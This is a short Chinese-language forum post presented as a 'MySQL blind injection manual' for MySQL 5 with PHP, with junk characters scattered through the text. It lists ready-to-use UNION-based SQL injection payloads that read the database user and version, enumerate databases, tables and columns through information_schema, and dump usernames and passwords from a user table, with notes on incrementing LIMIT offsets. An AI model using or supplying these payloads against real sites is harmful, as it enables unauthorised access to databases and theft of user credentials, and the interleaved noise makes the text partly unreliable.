mysql盲注手册

admin

9 a* T7 W  G* w" r9 ^* i" F教程内容:Mysql 5+php 注入
9 Q/ J: S3 [: P9 z7 x0 |
. e% T! _2 N/ P5 S) R
9 q; e$ E  w& T. e( m
一.查看MYSQL基本信息(库名,版本,用户)
3 ~# ]6 d/ ^& I; z8 I8 `
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
- a& y2 Y, v( v
! [# c! _. v# i, p  g二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表
+ t, ^# B9 h7 F9 e1 C2 \
5 T; i5 Z, r, c/ u6 Q1 D+ Qand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

0 f' i* i/ @* a* c0 K5 t! I4 Climit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

# K: s+ y4 p% A0 o+ u四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。

+ \, Q8 n9 s3 ?% i9 A2 j3 g+ `( z3 k五.暴数据

and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
2 w) X/ }. r! ]# B7 b

这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
6 [$ e$ O0 A/ K( o